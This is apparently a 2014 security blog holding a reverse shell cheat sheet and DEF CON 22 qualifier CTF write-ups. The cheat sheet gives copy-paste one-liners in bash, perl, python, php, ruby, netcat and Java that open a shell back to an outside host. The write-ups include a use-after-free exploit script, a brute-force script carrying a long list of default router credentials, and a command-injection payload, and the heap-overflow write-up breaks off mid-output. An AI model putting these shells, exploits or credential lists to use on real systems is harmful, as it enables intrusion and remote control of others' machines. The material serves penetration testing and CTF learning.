2014년 5월 30일 금요일

Linux Reverse Shell cheatsheet

Reverse Shell Cheat Sheet
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.
Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.

Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
[Untested submission from anonymous reader]

xterm
One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

Further Reading
Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.
There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.
Tags: bash, cheatsheet, netcat, pentest, perl, php, python, reverseshell, ruby, xterm
Posted in Shells

2014년 5월 25일 일요일

Defcon 22 quals - Gynophage Shitsco (2pts)

mangoui-MacBook-Pro:defcon_source kjungi704$ nc 10.211.55.4 8989 

oooooooo8 oooo o88 o8
888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo
888oooooo 888 888 888 888 888ooooooo 888 888 888 888
888 888 888 888 888 888 888 888 888
o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$

Cisco router style binary
Cisco -> Shitsco


Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable |
|ping |
|tracert |
|? |
|shell |
|set |
|show |
|credits |
|quit |
======================================
Type ? followed by a command for more detailed information
$ set a hello
$ set b wow
$ show
a: hello
b: wow
$ set a
$ show
b: wow

enable -> to privileged mode
ping -> ping
tracert -> tracert
? -> help
shell -> spawn shell
show -> list set variables
set -> set variables
credits -> credits
quit -> exit


size_t __cdecl readpassword()
{
unsigned int v0; // eax@1
FILE *v1; // eax@3
FILE *v2; // ebx@3
size_t result; // eax@4

v0 = 0;
do
{
password[v0] = 0;
++v0;
}
while ( v0 < 8 );
v1 = fopen("/home/shitsco/password", "r");
v2 = v1;
if ( !v1 )
{
perror("Failed to open password file");
exit(-1);
}
result = fread(password, 1u, 32u, v1);
if ( result )
result = fclose(v2);
return result;
}

read enable password at /home/shitsco/password in main()->readpassword()
password saved at .bss 0x0804C3A0


Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ set a aaaaaaaaaaaaaaaa
$ set b bbbbbbbbbbbbbbbb
$ set c cccccccccccccccc
$ set a
$ set b
$ set d dddddddddddddddd
$ show
d: dddddddddddddddd
Segmentation fault (core dumped)

WTF????!?!?!??!?!?

Final exploit with USE-AFTER-FREE vuln

#!/usr/bin/python
from socket import *
from struct import *

p = lambda x : pack("<L",x)

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))

password = 0x0804C3A0
s1 = 0x0804C36C
one = "set a "+"A"*16
two = "set b "+"B"*16
three = "set c "+"a"*4+p(password)+p(s1)+"aaaa"

def goset(wow):
s.send(wow+"\n")
s.recv(1024)

def unset(wow):
s.send(wow+"\n")
s.recv(1024)

print s.recv(1024)
goset(one)
goset(two)
unset("set a")
unset("set b")
goset(three)
s.send("show"+"\n")
print s.recv(1024)

password = saved password addr
s1 = chunks head addr



mangoui-MacBook-Pro:defcon_source kjungi704$ python shitsco.py

oooooooo8 oooo o88 o8
888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo
888oooooo 888 888 888 888 888ooooooo 888 888 888 888
888 888 888 888 888 888 888 888 888
o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$
c: aaaa?laaaa
: here_is_password_password

CLEAR!

2014년 5월 24일 토요일

Defcon 22 quals - babyfirst routarded

Router is exposed to the internet with default credentials.

stage 1 : pass the id/pw check.
stage 2 : read the key by command injection? with vuln in the page.

---stage 1 exp.py--- (router id/pw list from routerpasswords.com)

#!/usr/bin/python

from urllib2 import *
from base64 import *
from multiprocessing import Queue, Process
a= [["Admin","admin"],["2Wire",""],["(none)","Wireless"],["volition","volition"],["Administrator","3ware"],["sysadm","anicust"],["debug","synnet"],["tech","tech"],["adm","(none)"],["debug","synnet"],["tech","tech"],["tech","tech"],["","ANYCOM"],["","ILMI"],["admin","(none)"],["n/a","PASSWORD"],["debug","synnet"],["tech","tech"],["adminttd","adminttd"],["admin","comcomcom"],["tech","tech"],["admin","admin"],["adm","(none)"],["tech","(none)"],["admin","synnet"],["tech","tech"],["root","(none)"],["admin","(none)"],["tech","(none)"],["admin","admin"],["admin","(none)"],["monitor","monitor"],["manager","manager"],["Root","(none)"],["admin","(none)"],["admin","(none)"],["n/a","PASSWORD"],["n/a","admin"],["n/a","(none)"],["(none)","admin"],["admin","password"],["User","Password"],["Administrator","admin"],["operator","(none)"],["security","security"],["3comcso","RIP000"],["(none)","admin"],["tech","tech"],["admin","(none)"],["admin","admin"],["root","(none)"],["admin","(none)"],["operator","(none)"],["admin","(none)"],["admin","admin"],["admin","(none)"],["n/a","(none)"],["Administrator","(none)"],["admin","admin"],["recovery","recovery"],["(none)","admin"],["admin","(none)"],["admin","(none)"],["n/a","(none)"],["admin","admin"],["admin","(none)"],["Administrator","(none)"],["tech","(none)"],["admin","admin"],["recovery","recovery"],["(none)","admin"],["(none)","1234admin"],["Type User: FORCE","(none)"],["n/a","(none)"],["n/a","(none)"],["admin","(none)"],["admin","(none)"],["none","0"],["(none)","0"],["(none)","0"],["admin","secure"],["admin","password"],["(none)","(none)"],["admin","password"],["admin","(none)"],["admin","password"],["admin","(none)"],["admin","(none)"],["n/a","secret"],["n/a","adtran"],["n/a","(none)"],["n/a","Password"],["n/a","PASSWORD"],["n/a","adtran"],["n/a","(none)"],["n/a","adtran"],["n/a","ADTRAN"],["n/a","(none)"],["n/a","adtran"],["admin","password"],["operator","(none)"],["admin","(none)"],["manager","friend"],["(blank)","(blank)"],["mtcl","(none)"],["kermit","kermit"],["dhs3mt","dhs3mt"],["at4400","at4400"],["mtch","mtch"],["mtcl","mtcl"],["root","letacla"],["dhs3pms","dhs3pms"],["adfexc","adfexc"],["client","client"],["install","llatsni"],["halt","tlah"],["n/a","1064"],["admin","switch"],["diag","switch"],["diag","switch"],["root","permit"],["(none)","admin"],["ftp_inst","pbxk1064"],["ftp_admi","kilo1987"],["ftp_oper","help1954"],["ftp_nmc","tuxalize"],["n/a","admin"],["manager","admin"],["root","(none)"],["manager","manager"],["manager","friend"],["Manager","friend"],["admin","admin"],["none","admin"],["admin","(none)"],["admin","admin"],["admin","(none)"],["admin","linga"],["admin","admin"],["root","(none)"],["root","root"],["root","root"],["root","root"],["user","user - (admin:cableroot)"],["admin","admin"],["n/a","admin"],["acc","acc"],["n/a","backdoor"],["n/a","TENmanUFactOryPOWER"],["device","device"],["apc","apc"],["apc","apc"],["(none)","public"],["n/a","password"],["n/a","admin"],["root","admin"],["root","alpine"],["IntraSwitch","Asante"],["IntraStack","Asante"],["superuser","(none)"],["admin","asante"],["admin","0000"],["n/a","atc123"],["",""],["(none)","admin"],["readonly","lucenttech2"],["n/a","ascend"],["root","ascend"],["(none)","3ascotel"],["admin","atlantis"],["admin","atlantis"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["customer","none"],["DTA","TJM"],["DTA","TJM"],["DTA","TJM"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["n/a","admin"],["admin","admin"],["root","ROOT500"],["n/a","admin"],["craft","(none)"],["root","root"],["diag","danger"],["manuf","xxyyzz"],["diag","danger"],["manuf","xxyyzz"],["craft","crftpw"],["root","cms500"],["dadmin","dadmin01"],["root","pass"],["root","pass"],["root","pass"],["root","pass"],["root","pass"],["n/a","(none)"],["n/a","00000000"],["admin","admin"],["admin","epicrouter"],["n/a","NetICs"],["security","security"],["User","(none)"],["Manager","(none)"],["User","(none)"],["security","security"],["n/a","NetICs"],["root","n/a"],["(none)","MiniAP"],["n/a","admin"],["(blank)","(blank)"],["admin","(blank)"],["admin","admin"],["admin","admin"],["(none)","(none)"],["n/a","snmp-Trap"],["admin","bintec"],["admin","bintec"],["admin","bintec"],["admin","bintec"],["admin","articon"],["patrol","patrol"],["Administrator","the same all over"],["n/a","Master"],["n/a","laflaf"],["n/a","Helpdesk"],["n/a","Super"],["n/a","Master"],["n/a","laflaf"],["(none)","access"],["(none)","access"],["n/a","access"],["webadmin","webadmin"],["admin","admin"],["installer","installer"],["root","fivranne"],["admin","password"],["admin","password"],["root","(none)"],["admin","1234"],["netman","(none)"],["n/a","(none)"],["mediator","mediator"],["root","Mau'dib"],["Administrator","admin"],["admin","system"],["cellit","cellit"],["admin","admin"],["admin","password"],["admin","diamond"],["cmaker","cmaker"],["admin","changeme"],["netrangr","attack"],["bbsd-client","changeme2"],["bbsd-client","NULL"],["Administrator","changeme"],["root","attack"],["sa","(none)"],["(none)","public/private/secret"],["(none)","cisco"],["admin","admin"],["admin","default"],["Cisco","Cisco"],["guest","(none)"],["admin","cisco"],["cmaker","cmaker"],["(none)","Cisco"],["(none)","_Cisco"],["Cisco","Cisco"],["root","blender"],["hsa","hsadb"],["root","blender"],["wlse","wlsedb"],["root","Cisco"],["admin","admin"],["Administrator","admin"],["admin","admin"],["Administrator","admin"],["(blank)","(blank)"],["cisco","cisco"],["admin","epicrouter"],["administrator","administrator"],["anonymous","(none)"],["user","user"],["operator","operator"],["user","public"],["PFCUser","240653C9467E45"],["admin","admin"],["admin","(none)"],["admin","admin"],["n/a","epicrouter"],["n/a","admin"],["Administrator","admin"],["Administrator","admin"],["corecess","corecess"],["admin","(none)"],["root","root"],["cgadmin","cgadmin"],["super","surt"],["root","tslinux"],["root","tini"],["n/a","(none)"],["n/a","letmein"],["anonymous","any@"],["admin","admin"],["D-Link","D-Link"],["(none)","admin"],["admin","(none)"],["(none)","public"],["user","(none)"],["admin","(none)"],["admin","(none)"],["admin","(none)"],["admin","(none)"],["admin","admin"],["admin","(none)"],["n/a","admin"],["admin","(none)"],["admin","(none)"],["User","(none)"],["admin","admin"],["admin","(none)"],["user","(none)"],["admin","(none)"],["admin","(none)"],["admin","admin"],["admin","admin"],["admin","(none)"],["admin","admin"],["(none)","private"],["admin","admin"],["admin","(none)"],["admin","admin"],["user","(none)"],["admin","(none)"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","(none)"],["admin","password"],["n/a","admin"],["admin","admin"],["admin","admin"],["admin","(none)"],["admin","admin"],["user","user"],["Admin","(none)"],["user","user"],["root","davox"],["admin","admin"],["davox","davox"],["sa","(none)"],["admin","password"],["root","calvin"],["admin","my_DEMARC"],["root","admin"],["MDaemon","MServer"],["admin","(none)"],["(none)","0000"],["","0000 This is also their standard for the W700 and"],["(none)","0000"],["PBX","PBX"],["NETWORK","NETWORK"],["NETOP","(none)"],["admin","michelangelo"],["user","password"],["n/a","BRIDGE"],["n/a","password"],["admin","admin"],["admin","admin"],["n/a","BRIDGE"],["n/a","password"],["n/a","BRIDGE"],["n/a","password"],["admin","admin"],["admin","(none)"],["admin","admin"],["(blank)","(blank)"],["draytek","1234"],["admin","1234"],["guest","(none)"],["admin","123"],["admin","epicrouter"],["admin","epicrouter"],["admin","epicrouter"],["(none)","admin"],["(none)","admin"],["n/a","admin"],["login","admin"],["login","password"],["n/a","admin"],["websecadm","changeme"],["netman","netman"],["netman","netman"],["(none)","help"],["n/a","(none)"],["n/a","4getme2"],["login","admin"],["(none)","hs7mwxkk"],["public","(none)"],["n/a","cisco"],["admin","netadmin"],["(none)","netadmin"],["admin","(none)"],["tiger","tiger123"],["1111","1111"],["admin","admin"],["supervisor","supervisor"],["operator","operator"],["n/a","(none)"],["anonymous","Exabyte"],["admin","(none)"],["root","default"],["admin","admin"],["n/a","password"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","(none)"],["(none)","connect"],["admin","radius"],["admin","admin"],["n/a","Posterie"],["n/a","Posterie"],["Administrator","admin"],["Administrator","(none)"],["Administrator","admin"],["admin","isee"],["admin","admin"],["MGR","HPP187"],["MGR","HPP189"],["MGR","HPP196"],["MGR","INTX3"],["MGR","ITF3000"],["MGR","NETBASE"],["MGR","REGO"],["MGR","RJE"],["MGR","CONV"],["OPERATOR","SYS"],["OPERATOR","DISC"],["OPERATOR","SYSTEM"],["OPERATOR","SUPPORT"],["OPERATOR","COGNOS"],["PCUSER","SYS"],["RSBCMON","SYS"],["SPOOLMAN","HPOFFICE"],["WP","HPOFFICE"],["ADVMAIL","HPOFFICE DATA"],["ADVMAIL","HP"],["FIELD","SUPPORT"],["FIELD","MGR"],["FIELD","SERVICE"],["FIELD","MANAGER"],["FIELD","HPP187 SYS"],["FIELD","LOTUS"],["FIELD","HPWORD PUB"],["FIELD","HPONLY"],["HELLO","MANAGER.SYS"],["HELLO","MGR.SYS"],["HELLO","FIELD.SUPPORT"],["HELLO","OP.OPERATOR"],["MAIL","MAIL"],["MAIL","REMOTE"],["MAIL","TELESUP"],["MAIL","HPOFFICE"],["MAIL","MPE"],["MANAGER","TCH"],["MANAGER","SYS"],["MANAGER","SECURITY"],["MANAGER","ITF3000"],["MANAGER","HPOFFICE"],["MANAGER","COGNOS"],["MANAGER","TELESUP"],["MGR","SYS"],["MGR","CAROLIAN"],["MGR","VESOFT"],["MGR","XLSERVER"],["MGR","SECURITY"],["MGR","TELESUP"],["MGR","HPDESK"],["MGR","CCC"],["MGR","CNAS"],["MGR","WORD"],["MGR","COGNOS"],["MGR","ROBELLE"],["MGR","HPOFFICE"],["MGR","HPONLY"],["(none)","(none)"],["(none)","(none)"],["Anonymous","(none)"],["(none)","(none)"],["admin","hp.com"],["admin","admin"],["admin","(none)"],["TMAR#HWMT8007079","(none)"],["admin","admin"],["admin","admin"],["Administrator","pilou"],["n/a","(none)"],["n/a","ascend"],["n/a","(none)"],["n/a","admin"],["storwatch","specialist"],["n/a","R1QTPS"],["vt100","public"],["admin","password"],["admin","(none)"],["superadmin","secret"],["hscroot","abc123"],["admin","secure"],["root","(none)"],["n/a","admin"],["n/a","(none)"],["USERID","PASSW0RD"],["USERID","PASSW0RD"],["Administrator","admin"],["n/a","admin"],["admin","admin"],["admin","0000"],["Administrator","letmein"],["root","(none)"],["NICONEX","NICONEX"],["setup","setup"],["(none)","Intel"],["intel","intel"],["Guest","(none)"],["root","(none)"],["admin","(none)"],["admin","hello"],["admin","hello"],["intermec","intermec"],["SYSDBA","masterkey"],["n/a","(none)"],["operator","$chwarzepumpe"],["system","sys"],["admin","admin"],["n/a","admin"],["Administrator","admin"],["admin","operator"],["admin","operator"],["admin","epicrouter"],["JDE","JDE"],["admin","ironport"],["hydrasna","(none)"],["n/a","3477"],["n/a","8111"],["(none)","1234"],["(none)","(none)"],["PRODDTA","PRODDTA"],["n/a","00000000"],["netscreen","netscreen"],["n/a","PASSWORD"],["root","root"],["admin","admin"],["admin","(blank)"],["superuser","123456"],["admin","123456"],["admin","123"],["n/a","(none)"],["n/a","access"],["n/a","system"],["n/a","lantronix"],["sysadmin","PASS"],["login","access"],["n/a","admin"],["n/a","admin"],["n/a","access"],["n/a","(none)"],["n/a","(none)"],["n/a","(none)"],["n/a","(none)"],["n/a","(none)"],["(none)","jannie"],["admin","epicrouter"],["admin","admin"],["user","tivonpw"],["root","(none)"],["!root","(none)"],["!root","(none)"],["!root","(none)"],["n/a","(none)"],["n/a","admin"],["Administrator","admin"],["(none)","admin"],["admin","(none)"],["(none)","admin"],["admin","admin"],["admin","admin"],["n/a","admin"],["(none)","admin"],["(none)","admin"],["(none)","admin"],["admin","admin"],["comcast","1234"],["admin","admin"],["n/a","(none)"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["setup","changeme(exclamation)"],["(none)","0000"],["admin","epicrouter"],["super","super"],["(any 3 characters)","cascade"],["n/a","cascade"],["n/a","cascade"],["(any 3 characters)","cascade"],["n/a","cascade"],["n/a","cascade"],["admin","Ascend"],["root","ascend"],["readwrite","lucenttech1"],["readonly","lucenttech2"],["LUCENT01","UI-PSWD-01"],["LUCENT02","UI-PSWD-02"],["Administrator","(none)"],["admin","AitbISP4eCiG"],["bciim","bciimpw"],["bcim","bcimpw"],["bcms","bcmspw"],["bcnas","bcnaspw"],["blue","bluepw"],["browse","browsepw"],["browse","looker"],["craft","craft"],["craft","craftpw"],["cust","custpw"],["enquiry","enquirypw"],["field","support"],["inads","indspw"],["inads","inads"],["init","initpw"],["locate","locatepw"],["maint","maintpw"],["maint","rwmaint"],["nms","nmspw"],["rcust","rcustpw"],["support","supportpw"],["tech","field"],["admin","0"],["ami","(none)"],["n/a","(none)"],["scmadmin","scmchangeme"],["n/a","medion"],["Administrator","password"],["admin","1234"],["MICRO","RSX"],["MICRO","RSX"],["n/a","star"],["n/a","letmein"],["Administrator","admin"],["Administrator","admin"],["service","smile"],["root","default"],["mac","(none)"],["admin","epicrouter"],["admin","1234"],["root","root"],["admin","(none)"],["admin","(none)"],["operator","(none)"],["admin","(none)"],["n/a","SYSTEM"],["n/a","SYSTEM"],["(none)","admin"],["root","root"],["SYSADM","sysadm"],["system","password"],["n/a","(none)"],["cablecom","router"],["admin","motorola"],["admin","motorola"],["admin","motorola"],["cablecom","router"],["n/a","(none)"],["(blank)","(blank)"],["router","router"],["router","router"],["router","router"],["(none)","admin"],["admin","password"],["admin","admin"],["admin","admin123"],["GlobalAdmin","GlobalAdmin"],["n/a","(none)"],["(none)","1234"],["admin","password"],["comcast","1234"],["admin","password"],["admin","1234"],["admin","admin"],["admin","password"],["(none)","1234"],["super","5777364"],["superman","21241036"],["super","5777364"],["admin","password"],["admin","password"],["admin","password"],["admin","password"],["(none)","private"],["admin","password"],["admin","1234"],["admin","password"],["admin","password"],["admin","1234"],["admin","(none)"],["admin","password"],["admin","password"],["n/a","admin"],["n/a","password"],["n/a","(none)"],["admin","password"],["admin","password"],["admin","password"],["admin","password"],["netopia","netopia"],["admin","(none)"],["n/a","(none)"],["admin","noway"],["(none)","(none)"],["netopia","netopia"],["netscreen","netscreen"],["Administrator","(none)"],["admin","(none)"],["operator","(none)"],["Administrator","(none)"],["naadmin","naadmin"],["setup","setup"],["e500","e500changeme"],["e250","e250changeme"],["admin","password"],["guest","guest"],["admin","NetCache"],["(none)","admin"],["n/a","xdfk9874t3"],["n/a","xdfk9874t3"],["admin","(none)"],["admin","asd"],["disttech","4tas"],["maint","maint"],["mlusr","mlusr"],["admin","root"],["l2","l2"],["l3","l3"],["ro","ro"],["rw","rw"],["rwa","rwa"],["admin","setup"],["n/a","secure"],["login","0"],["login","1111"],["login","8429"],["spcl","0"],["service","smile"],["root","3ep5w2u"],["(none)","0"],["maint","ntacdmax"],["service","smile"],["disttech","4tas"],["maint","maint"],["ccrusr","ccrusr"],["n/a","(none)"],["service","smile"],["admin","setup"],["supervisor","PlsChgMe!"],["n/a","266344"],["266344","266344"],["n/a","(none)"],["n/a","(none)"],["supervisor","PlsChgMe1"],["vcr","NetVCR"],["(none)","password"],["(none)","9999"],["m1122","m1122"],["telecom","telecom"],["root","the 6 last digit of the MAC adress"],["admin","adslolitec"],["(none)","SUPER"],["(none)","SMDR"],["admin","changeme"],["n/a","(none)"],["admin","admin"],["admin","OCS"],["adminstat","OCS"],["adminview","OCS"],["adminuser","OCS"],["adminview","OCS"],["helpdesk","OCS"],["system/manager","sys/change_on_install"],["root","root"],["sys","uplink"],["cac_admin","cacadmin"],["admin","admin"],["admin","kont2004"],["Manager","Manager"],["sysadm","sysadm"],["write","private"],["debug","d.e.b.u.g"],["echo","echo"],["guest","guest"],["Manager","Manager"],["sysadm","sysadm"],["write","private"],["sysadm","sysadm"],["sysadm","sysadm"],["sysadm","sysadm"],["sysadm","sysadm"],["sysadm","sysadm"],["1500","and 2000 Series\""],["n/a","(none)"],["n/a","(none)"],["admin","1234"],["n/a","(none)"],["root","(none)"],["pmd","(none)"],["(none)","pento"],["admin","superuser"],["n/a","system"],["admin","password"],["PSEAdmin","$secure$"],["admin","mu"],["admin","microbusiness"],["user","password"],["admin","smallbusiness"],["admin","microbusiness"],["user","password"],["Administrator","admin"],["Polycom","SpIp"],["(none)","admin"],["(none)","(none)"],["(none)","(none)"],["(none)","(none)"],["","public"],["(none)","default"],["admin","epicrouter"],["admin","1234"],["admin","epicrouter"],["admin","admin"],["n/a","(none)"],["support","h179350"],["n/a","raidzone"],["admin","admin"],["admin","admin"],["lp","lp"],["radware","radware"],["sysadmin","password"],["sysadmin","password"],["(none)","password"],["n/a","password"],["admin","(none)"],["admin","password"],["wradmin","trancell"],["wradmin","trancell"],["admin","password"],["piranha","q"],["piranha","piranha"],["n/a","Col2ogro2"],["n/a","Col2ogro2"],["setup","changeme"],["teacher","password"],["temp1","password"],["admin","rmnetlm"],["admin2","changeme"],["adminstrator","changeme"],["deskalt","password"],["deskman","changeme"],["desknorm","password"],["deskres","password"],["guest","(none)"],["replicator","replicator"],["RMUser1","password"],["topicalt","password"],["topicnorm","password"],["topicres","password"],["admin","w2402"],["admin","epicrouter"],["root","1234"],["root","1234"],["admin","admin"],["public","public"],["n/a","(none)"],["admin","password"],["n/a","(none)"],["admin","(none)"],["admin","n/a"],["eng","engineer"],["op","op"],["op","operator"],["su","super"],["poll","tech"],["sysadmin","sysadmin"],["admin","pwp"],["tech","tech"],["superuser","admin"],["poll","tech"],["sysadmin","sysadmin"],["tech","tech"],["admin","pwp"],["eng","engineer"],["op","op"],["op","operator"],["su","super"],["admin","hagpolm1"],["n/a","(none)"],["GEN1","gen1"],["GEN2","gen2"],["ADMN","admn"],["n/a","SKY_FOX"],["n/a","SKY_FOX"],["n/a","(none)"],["root","(none)"],["(none)","sitecom"],["admin","admin"],["admin","admin"],["Administrator","ganteng"],["root","(none)"],["admin","(none)"],["admin","admin"],["admin","admin"],["(none)","smcadmin"],["n/a","smcadmin"],["Administrator","smcadmin"],["admin","barricade"],["smc","smcadmin"],["admin","smcadmin"],["(none)","smcadmin"],["admin","barricade"],["(none)","smcadmin"],["cusadmin","highspeed"],["smc","smcadmin"],["n/a","smcadmin"],["(none)","smcadmin"],["admin","(none)"],["aaa","often blank"],["admin","Protector"],["root","root"],["1.79 +","Multi"],["admin","password"],["root","admin"],["admin","conexant"],["(none)","admin"],["n/a","adminttd"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["(none)","admin"],["(none)","speedxess"],["admin","admin"],["admin","admin"],["root","changeme"],["Sweex","Mysweex"],["admin","xad$l#12"],["enable","(none)"],["target","password"],["Administrator","(none)"],["jagadmin","(none)"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["n/a","Symbol"],["install","secret"],["(none)","TANDBERG"],["n/a","0000010023"],["Administrator","(none)"],["telco","telco"],["admin","1234"],["super.super","(none)"],["super.super","master"],["xbox","xbox"],["admin","password"],["n/a","(none)"],["admin","admin"],["admin","admin"],["(none)","(none)"],["(none)","(none)"],["tiara","tiaranet"],["admin","1234"],["tellabs","tellabs#1"],["root","admin_1"],["admin","extendnet"],["superman","talent"],["admin","admin"],["craft","(none)"],["(none)","enter"],["root","12345"],["admin","admin"],["cablemodem","robotics"],["admin","(blank) - Default IP is 192.168.123.254"],["admin","admin"],["n/a","password"],["n/a","(none)"],["admin","(none)"],["VTech","VTech"],["NAU","NAU"],["ADMINISTRATOR","ADMINISTRATOR"],["HTTP","HTTP"],["(none)","12345"],["root","admin"],["Any","12345"],["support","support"],["support","support"],["(none)","(none)"],["admin","changeme"],["admin","visual"],["admin","admin"],["guest","guest"],["(none)","166816"],["user","user"],["user","user"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["admin","admin"],["(blank)","(blank)"],["router","router"],["router","router"],["router","router"],["admin","admin"],["VTech","VTech"],["(blank)","(blank)"],["router","router"],["admin","admin"],["CSG","SESAME"],["admin","(none)"],["user","pass"],["admin","(none)"],["admin","password"],["CSG","SESAME"],["admin","sysAdmin"],["admin","password"],["root","wyse"],["VNC","winterm"],["(none)","Fireport"],["root","(none)"],["rapport","r@p8p0r+"],["n/a","password"],["super","super"],["1502","1502"],["super","super"],["n/a","(none)"],["n/a","(none)"],["xd","xd"],["admin","2222"],["admin","admin"],["admin","(none)"],["admin","22222"],["admin","admin"],["admin","admin"],["n/a","admin"],["admin","1111"],["admin","switch"],["diag","switch"],["admin","switch"],["admin","zoomadsl"],["n/a","system"],["n/a","access"],["n/a","system"],["n/a","access"],["n/a","access"],["n/a","access"],["n/a","system"],["n/a","(none)"],["admin","admin"],["root","admin"],["admin","1234"],["ZXDSL","ZXDSL"],["n/a","1234"],["root","1234"],["(none)","1234"],["(none)","1234"],["admin","1234"],["n/a","1234"],["1234","1234"],["webadmin","1234"],["admin","1234"],["admin","1234"],["n/a","(none)"],["admin","1234"],["admin","admin"],["n/a","1234"],["n/a","admin"]]
for i in a:
for j in range(2):
if i[j] == "(none)" or i[j]=="n/a":
i[j]=""

a=a
print "="*20+"go"+"="*20

url = "http://routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000"

q = Queue()
def run():
while True:
i = q.get()
idid = i[0]
pwpw = i[1]
go = b64encode(idid+":"+pwpw)
header = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Encoding':'gzip,deflate,sdch','Accept-Language':'ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4,zh-TW;q=0.2,zh;q=0.2','Authorization':'basic '+go}
request = Request(url,'GET',header)
try:
data = urlopen(request)
if data.read():
print data.read()
print i
exit(0)
except HTTPError as e:
print e


for i in a:
q.put((i))

ps=[]
for i in range(30):
p = Process(target=run)
p.start()
ps.append(p)

----stage 2 (command injection)
thx to jinmo123


another solution
-> 127.0.0.1;cat key
LOLOLOLOLOL


CLEAR!

Defcon 22 quals - babyfirst heap writeup

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=80A9008][size=1246]
[ALLOC][loc=80A94F0][size=1121]
[ALLOC][loc=80A9958][size=947]
[ALLOC][loc=80A9D10][size=741]
[ALLOC][loc=80AA000][size=706]
[ALLOC][loc=80AA2C8][size=819]
[ALLOC][loc=80AA600][size=673]
[ALLOC][loc=80AA8A8][size=1004]
[ALLOC][loc=80AAC98][size=952]
[ALLOC][loc=80AB058][size=755]
[ALLOC][loc=80AB350][size=260]
[ALLOC][loc=80AB458][size=877]
[ALLOC][loc=80AB7D0][size=1245]
[ALLOC][loc=80ABCB8][size=1047]
[ALLOC][loc=80AC0D8][size=1152]
[ALLOC][loc=80AC560][size=1047]
[ALLOC][loc=80AC980][size=1059]
[ALLOC][loc=80ACDA8][size=906]
[ALLOC][loc=80AD138][size=879]
[ALLOC][loc=80AD4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 93 bytes.
[FREE][address=80A9008]
[FREE][address=80A94F0]
[FREE][address=80A9958]
[FREE][address=80A9D10]
[FREE][address=80AA000]
[FREE][address=80AA2C8]
